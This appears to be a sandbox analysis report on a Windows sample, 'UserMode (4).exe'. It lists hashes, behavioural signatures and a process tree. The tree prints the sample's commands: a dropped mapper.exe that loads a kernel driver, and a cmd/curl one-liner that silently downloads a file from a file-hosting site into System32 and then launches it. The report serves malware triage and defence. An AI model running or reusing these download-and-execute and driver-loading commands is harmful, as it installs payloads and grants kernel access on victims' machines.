Overview

overview

8

Static

static

3

UserMode (4).exe

windows10-2004-x64

8

UserMode (4).exe

windows11-ltsc_2024-x64

8

Analysis

  • user interaction
    yes
  • max time kernel
    18s
  • max time network
    18s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    04/08/2026, 22:41

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General

  • Target
    UserMode (4).exe
  • Size 2.3MB
  • Sample260804-2mlmmazvbz
  • SHA256 aa3fd202c58db0e0c2ffce0906ecfe9b4efd802e5cde3b576b10f3e7afe3f2fd
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
executionpersistence

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\UserMode (4).exe
    "C:\Users\Admin\AppData\Local\Temp\UserMode (4).exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:412
    • C:\Users\Admin\AppData\Local\Temp\mapper.exe
      C:\Users\Admin\AppData\Local\Temp\mapper.exe C:\Users\Admin\AppData\Local\Temp\driver.sys
      2⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: LoadsDriver
      • Suspicious use of AdjustPrivilegeToken
      PID:4176
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/uul8jj.url --output C:\Windows\System32\tp5h5i.url 2> error.log
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3152
      • C:\Windows\system32\curl.exe
        curl --silent https://files.catbox.moe/uul8jj.url --output C:\Windows\System32\tp5h5i.url
        3⤵
          PID:4348
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c cls
        2⤵
        • Executes a command shell one-liner
        PID:3516
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c start C:/Windows/System32/tp5h5i.url
        2⤵
        • Executes a command shell one-liner
        PID:2872
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c cls
        2⤵
        • Executes a command shell one-liner
        PID:4656

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          mapper.exe
          • Path C:\Users\Admin\AppData\Local\Temp\mapper.exe
          • Size 152KB
          • SHA256 1a2607a9018acfd125c692acf23f170d8c7faa4c9bd645499c898ff1b5244445
          • MD5 SHA1 SHA512 SSDEEP TLSH
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